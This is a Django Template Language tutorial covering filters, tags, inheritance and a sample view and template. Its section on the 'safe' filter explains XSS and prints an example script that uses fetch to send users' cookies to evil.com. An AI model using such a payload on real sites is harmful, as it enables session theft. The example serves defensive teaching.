**1. What is Django Template Language (DTL)?**

* DTL is Django's own template system used to render dynamic content in HTML.
* It allows you to use **variables, filters, tags, loops, and conditions** directly inside .html templates.
* Template files are usually stored in templates/ folders inside apps.

Example:

html

CopyEdit

<h1>Welcome, {{ user\_name }}</h1>

{{ user\_name }} will be replaced dynamically by the value sent from the view.

**2. Variables in Templates**

* Variables are written using **double curly braces {{ }}**.
* These variables come from the **context dictionary** passed from views.

Example:

html

CopyEdit

<p>Hello, {{ name }}</p>

<p>Your email: {{ user.email }}</p>

View:

python

CopyEdit

def home(request):

context = {'name': 'Talha', 'user': {'email': 'talha@example.com'}}

return render(request, 'index.html', context)

**3. Filters**

* Filters modify variables for display.
* Syntax: {{ variable|filter\_name:argument }}

Common Filters:

* {{ name|upper }} → Converts to uppercase
* {{ name|lower }} → Converts to lowercase
* {{ date|date:"d-m-Y" }} → Format dates
* {{ text|length }} → Returns length
* {{ text|truncatechars:10 }} → Truncate text

Example:

<p>{{ name|upper }}</p>

<p>{{ bio|truncatewords:5 }}</p>

**1. What are Template Filters?**

* Filters are used to modify variables inside templates.
* They are written using the pipe symbol | inside {{ }}.
* Syntax:

html

CopyEdit

{{ variable|filter\_name:argument }}

* Filters can **transform text, format dates, truncate content, etc.**

**2. Commonly Used Django Template Filters**

**2.1 upper**

* Converts a string to uppercase.

{{ name|upper }}

Input: "talha" → Output: **TALHA**

**2.2 lower**

* Converts a string to lowercase.

{{ name|lower }}

Input: "TALHA" → Output: **talha**

**2.3 title**

* Capitalizes the first letter of each word.

{{ blog\_title|title }}

Input: "welcome to django" → Output: **Welcome To Django**

**2.4 capfirst**

* Capitalizes the first letter of the string.

{{ name|capfirst }}

Input: "talha" → Output: **Talha**

**2.5 length**

* Returns the length of a string or list.

{{ courses|length }}

Input: ['Python', 'Django'] → Output: **2**

**2.6 default**

* Provides a default value if the variable is empty or None.

{{ username|default:"Guest" }}

If username is empty → Output: **Guest**

**2.7 default\_if\_none**

* Similar to default but only when the variable is None.

{{ age|default\_if\_none:"Not given" }}

**2.8 truncatechars**

* Truncates a string after a certain number of characters.

{{ description|truncatechars:20 }}

Input: "Django is a great web framework"  
Output: **Django is a great…**

**2.9 truncatewords**

* Truncates a string after a certain number of words.

html

CopyEdit

{{ description|truncatewords:5 }}

Input: "Django is a great web framework"  
Output: **Django is a great web…**

**2.10 date**

* Formats a datetime object.

{{ current\_date|date:"d-m-Y" }}

Output: **27-07-2025**

**Common formats:**

* "d M Y" → 27 Jul 2025
* "D, d M Y" → Sun, 27 Jul 2025
* "H:i" → 14:30

**2.11 time**

* Formats only the time.

{{ current\_time|time:"H:i:s" }}

**2.12 timesince**

* Returns the time difference from now.

{{ post\_date|timesince }}

Output: **3 days, 4 hours**

**2.13 timeuntil**

* Returns the time left until a date.

{{ event\_date|timeuntil }}

Output: **5 days**

**2.14 add**

* Adds a number to a variable.

{{ price|add:10 }}

Input: 50 → Output: **60**

**2.15 divisibleby**

* Checks if a number is divisible by another number.

{% if counter|divisibleby:2 %}

<p>Even number</p>

{% endif %}

**2.16 join**

* Joins a list into a string with a separator.

{{ courses|join:", " }}

Input: ['Python', 'Django'] → Output: **Python, Django**

**2.17 slice**

* Similar to Python slicing.

{{ courses|slice:":2" }}

Returns the first 2 items.

**2.18 safe**

* Marks the string as safe HTML (does not escape it).

{{ html\_content|safe }}

If html\_content = "<b>Hello</b>" → Output: **Hello** (in bold)

⚠️ Use carefully (avoid XSS attacks).

### ****What is XSS?****

**XSS (Cross-Site Scripting)** is a type of security vulnerability where an attacker injects **malicious scripts (usually JavaScript)** into your website.  
When other users visit the page, the malicious script runs in their browser, potentially stealing data, cookies, session tokens, or even taking control of their account.

### ****How does it happen?****

It usually happens when you display user-submitted data on a web page **without proper escaping or validation**.

Example:

html

CopyEdit

<!-- If user input is directly rendered with safe -->

{{ user\_comment|safe }}

Now, if an attacker enters:

html

CopyEdit

<script>alert('Hacked!');</script>

It will **execute in every user's browser**, showing the alert (or worse: stealing cookies).

### ****Why does**** safe ****cause risk?****

* Django **escapes HTML by default** → it turns <script> into &lt;script&gt; so it's harmless.
* But if you use |safe, it tells Django **"This is trusted HTML, don’t escape it."**
* If the HTML comes from an attacker, the malicious script will run.

### ****Real-world example****

1. Attacker posts:

html

CopyEdit

<script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>

1. Other users open the page.
2. Their browser executes the script → sends their session cookie to the attacker's server.
3. Attacker can log in as that user.

### ****How to avoid XSS?****

1. **Never mark user-submitted data as safe** unless you absolutely trust it.
2. Validate and sanitize all inputs.
3. Use Django's default escaping ({{ variable }} without |safe).
4. If you must allow some HTML, use libraries like **bleach** to clean unsafe tags/scripts.

### ****In simple terms:****

XSS is when a hacker makes your website run their JavaScript in someone else’s browser.  
👉 That’s why |safe must be used **only with data you 100% trust**.

**2.19 escape**

* Escapes HTML characters.

{{ html\_content|escape }}

Input: <b>Hello</b> → Output: &lt;b&gt;Hello&lt;/b&gt;

**2.20 pluralize**

* Adds a plural suffix.

{{ count }} item{{ count|pluralize }}

If count = 1 → **1 item**  
If count = 3 → **3 items**

**2.21 yesno**

* Returns different values based on a boolean.

{{ is\_active|yesno:"Active,Inactive" }}

True → **Active**  
False → **Inactive**

**2.22 floatformat**

* Rounds a floating-point number.

html

CopyEdit

{{ price|floatformat:2 }}

Input: 123.456 → Output: **123.46**

**3. Chaining Filters**

You can use multiple filters together:

{{ name|default:"Guest"|upper }}

If name is empty → Output: **GUEST**

**4. Custom Filters**

You can create custom filters when built-in filters are not enough.

# app/templatetags/custom\_filters.py

from django import template

register = template.Library()

@register.filter

def multiply(value, arg):

return value \* arg

Template:

<p>Total: {{ price|multiply:quantity }}</p>

**5. Summary**

**Most Used Filters in Real Projects:**

* upper, lower, title
* length, default, default\_if\_none
* truncatechars, truncatewords
* date, time, timesince
* add, join, slice
* safe, escape
* pluralize, yesno
* floatformat

**4. Tags**

* Tags add **logic** to templates.
* Syntax: {% tag %}

**4.1 if / else**

{**%** **if** user**.**is\_authenticated **%**}

**<**p**>**Welcome**,** {{ user**.**username }}**</**p**>**

{**%** **else** **%**}

**<**p**>**Please login**</**p**>**

{**%** endif **%**}

**4.2 for loop**

**<**ul**>**

{**%** **for** item **in** items **%**}

**<**li**>**{{ item }}**</**li**>**

{**%** empty **%**}

**<**li**>**No items found**</**li**>**

{**%** endfor **%**}

**</**ul**>**

**4.3 comment**

{**%** comment **%**} This will **not** appear **in** HTML {**%** endcomment **%**}

**4.4 include**

{**%** include 'partials/navbar.html' **%**}

Includes another template.

**5. Template Inheritance (extends & block)**

* Avoids code duplication by using a **base template**.

base.html

**<**!DOCTYPE html**>**

**<**html**>**

**<**head**><**title**>**{**%** block title **%**}My Site{**%** endblock **%**}**</**title**></**head**>**

**<**body**>**

    {**%** include 'partials/navbar.html' **%**}

    {**%** block content **%**}{**%** endblock **%**}

**</**body**>**

**</**html**>**

home.html

{**%** extends 'base.html' **%**}

{**%** block title **%**}Home Page{**%** endblock **%**}

{**%** block content **%**}

**<**h1**>**Welcome to Home**</**h1**>**

{**%** endblock **%**}

**6. Static Files (CSS/JS/Images)**

* Load static files with {% load static %}
* Use static tag to link files.

Example:

{**%** load static **%**}

**<**link rel**=**"stylesheet" href**=**"{% static 'css/style.css' %}"**>**

**<**img src**=**"{% static 'images/logo.png' %}" alt**=**"Logo"**>**

**7. Template Filters with Custom Logic**

* You can create **custom filters** in your app using @register.filter.

Example:

*# In templatetags/custom\_filters.py*

**from** django **import** template

register **=** template**.**Library()

@register**.**filter

**def** multiply(**value,** **arg**)**:**

**return** value **\*** arg

Template:

**<**p**>**{{ price**|**multiply**:**2 }}**</**p**>**

**8. Escaping and Safe Output**

* By default, Django escapes HTML for security.
* Use |safe to render HTML directly.

Example:

**<**p**>**{{ html\_code**|**safe }}**</**p**>**

**9. URL Tag**

* Use {% url 'name' args %} to generate links.

Example:

**<**a href**=**"{% url 'about' %}"**>**About Us**</**a**>**

**<**a href**=**"{% url 'user-detail' user.id %}"**>**{{ user**.**name }}**</**a**>**

**10. CSRF Token (Forms)**

* Use {% csrf\_token %} in forms for security.

Example:

**<**form method**=**"post"**>**

    {**%** csrf\_token **%**}

**<**input *type***=**"text" name**=**"name"**>**

**<**button *type***=**"submit"**>**Submit**</**button**>**

**</**form**>**

**11. Template Directory Setup**

1. Inside your app, create a templates/app\_name/ folder.
2. In settings.py, add:
3. TEMPLATES **=** [
4. {
5. 'BACKEND'**:** 'django.template.backends.django.DjangoTemplates'**,**
6. 'DIRS'**:** [BASE\_DIR **/** "templates"]**,**  *# Global templates folder*
7. 'APP\_DIRS'**:** True**,**
8. ...
9. }**,**
10. ]
11. Django will now automatically find templates inside each app’s templates/ folder.

**12. Passing Context from Views**

views.py

**def** home(**request**)**:**

    context **=** {'name'**:** 'Talha'**,** 'courses'**:** ['Python'**,** 'Django']}

**return** render(request**,** 'course/index.html'**,** context)

index.html

**<**h1**>**Hello**,** {{ name }}**</**h1**>**

**<**ul**>**

{**%** **for** course **in** courses **%**}

**<**li**>**{{ course }}**</**li**>**

{**%** endfor **%**}

**</**ul**>**

**Summary**

* Use {{ }} for variables and filters.
* Use {% %} for tags (if, for, include, block, extends).
* Use **template inheritance** to avoid repetition.
* Pass data from views.py using context dictionaries.
* Use {% load static %} and {% url %} for linking assets and URLs.

View.py:

**from** django**.**shortcuts **import** render

**from** datetime **import** datetime**,** timedelta

**def** djagno\_learning(**req**)**:**

*# Example Data (we will use in template)*

    name **=** 'django'

    duration **=** '4 month'

    seat **=** 10

    string1 **=** "This is a long string for practicing truncatechars filter and others."

*# Current date & time*

    current\_date **=** datetime**.**now()

*# Timesince & timeuntil examples*

    post\_date **=** current\_date **-** timedelta(**days=**3**,** **hours=**4)   *# 3 days ago*

    event\_date **=** current\_date **+** timedelta(**days=**5**,** **hours=**2)  *# 5 days in future*

*# Numeric data for add, floatformat, pluralize*

    price **=** 50

    count **=** 3

    float\_price **=** 123.456

*# Divisibleby & yesno*

    counter **=** 4

    is\_active **=** True

*# Lists for join, slice, and for loop*

    courses **=** ['Python'**,** 'Django'**,** 'JavaScript']

    names **=** ["Math"**,** "Computer"**,** "Science"**,** "Biology"]

*# Safe & escape filters*

    html\_content **=** "<b>Hello Django</b>"

*# Variable for if/elif/else condition*

    vari **=** "django"

*# Nested dictionary for looping through key, value*

    students **=** {

        'stu1'**:** {'name'**:** 'Rahul'**,** 'roll'**:** 101}**,**

        'stu2'**:** {'name'**:** 'Sonam'**,** 'roll'**:** 102}**,**

        'stu3'**:** {'name'**:** 'Raj'**,** 'roll'**:** 103}**,**

        'stu4'**:** {'name'**:** 'Anu'**,** 'roll'**:** 104}**,**

    }

*# Passing all data to template*

    context **=** {

        'name'**:** name**,**

        'duration'**:** duration**,**

        'seat'**:** seat**,**

        'string1'**:** string1**,**

        'current\_date'**:** current\_date**,**

        'post\_date'**:** post\_date**,**

        'event\_date'**:** event\_date**,**

        'price'**:** price**,**

        'count'**:** count**,**

        'float\_price'**:** float\_price**,**

        'counter'**:** counter**,**

        'is\_active'**:** is\_active**,**

        'courses'**:** courses**,**

        'names'**:** names**,**

        'html\_content'**:** html\_content**,**

        'vari'**:** vari**,**

        'student'**:** students

    }

**return** render(req**,** 'course/django.html'**,** context)

.html file :

<!DOCTYPE html>

<html *lang*="en">

<head>

    <meta *charset*="UTF-8">

    <meta *name*="viewport" *content*="width=device-width, initial-scale=1.0">

    <title>Django Template Language</title>

</head>

<body>

    <h1>\*\*\* Django Template Language Examples \*\*\*</h1>

*<!-- ============ Basic Filters ============ -->*

    <h2>Uppercase: {{ name|**upper** }}</h2>

    <h2>Lowercase: {{ name|**lower** }}</h2>

    <h2>Title Case: {{ name|**title** }}</h2>

    <h2>Capfirst: {{ name|**capfirst** }}</h2>

    <h2>Length: {{ name|**length** }}</h2>

    <h2>Default (if value empty): {{ name|**default:**"Guest" }}</h2>

    <h2>Truncatechars (shorten long string): {{ string1|truncatechars**:**25 }}</h2>

*<!-- ============ Date & Time Filters ============ -->*

    <h2>Date (d-m-Y): {{ current\_date|**date:**"d-m-Y" }}</h2>

    <h2>Date (Day name format): {{ current\_date|**date:**"D d M Y" }}</h2>

    <h2>Time: {{ current\_date|**time** }}</h2>

    <h2>Time (HH:mm): {{ current\_date|**time:**"H:i" }}</h2>

    <h2>Short Date Format: {{ current\_date|**date:**"SHORT\_DATE\_FORMAT" }}</h2>

    <h2>Time Format: {{ current\_date|**time:**"TIME\_FORMAT" }}</h2>

*<!-- ============ Time Filters ============ -->*

    <h2>Timesince (how long ago): {{ post\_date|**timesince** }}</h2>

    <h2>Timeuntil (time left): {{ event\_date|timeuntil }}</h2>

*<!-- ============ Math & Boolean Filters ============ -->*

    <h2>Add (price + 10): {{ price|**add:**10 }}</h2>

    <h2>Floatformat (2 decimals): {{ float\_price|**floatformat:**2 }}</h2>

    <h2>Pluralize: {{ count }} item{{ count|**pluralize** }}</h2>

*<!-- Divisibleby example -->*

    {% **if** counter|**divisibleby:**2 %}

        <p>{{ counter }} is an EVEN number.</p>

    {% **else** %}

        <p>{{ counter }} is an ODD number.</p>

    {% **endif** %}

*<!-- Yesno filter -->*

    <h2>Active Status: {{ is\_active|**yesno:**"Active,Inactive" }}</h2>

*<!-- ============ List Filters & Loops ============ -->*

    <h2>Join (list): {{ courses|**join:**", " }}</h2>

    <h2>Slice (first 2): {{ courses|**slice:**":2" }}</h2>

    <h2>For Loop Example (List):</h2>

    {% **for** i **in** names %}

        <li>{{ i }}</li>

    {% **endfor** %}

*<!-- ============ Safe & Escape ============ -->*

    <h2>Safe (HTML will render as real HTML): {{ html\_content|**safe** }}</h2>

    <h2>Escape (HTML will be shown as text): {{ html\_content|**escape** }}</h2>

*<!-- ============ If / Else Example ============ -->*

    {% **if** vari **==** 'django' %}

        <h2>Hello: {{ vari }} - You matched the correct name.</h2>

    {% **elif** vari **==** 'django1' %}

        <h2>Hello: {{ vari }} - Another match.</h2>

    {% **else** %}

        <h2>Nothing matched.</h2>

    {% **endif** %}

*<!-- ============ Nested Dictionary Loop ============ -->*

    <h2>Students Data (Nested Dictionary):</h2>

    {% **for** key**,** value **in** student**.**items %}

        <strong>{{ key }}</strong> -

        {% **for** k**,** v **in** value**.**items %}

            {{ k }}: {{ v }}

        {% **endfor** %}

        <br/>

    {% **endfor** %}

*<!-- ============ Chaining Filters Example ============ -->*

    <h2>Chaining Filters: {{ name|**default:**"Guest"|**upper** }}</h2>

</body>

</html>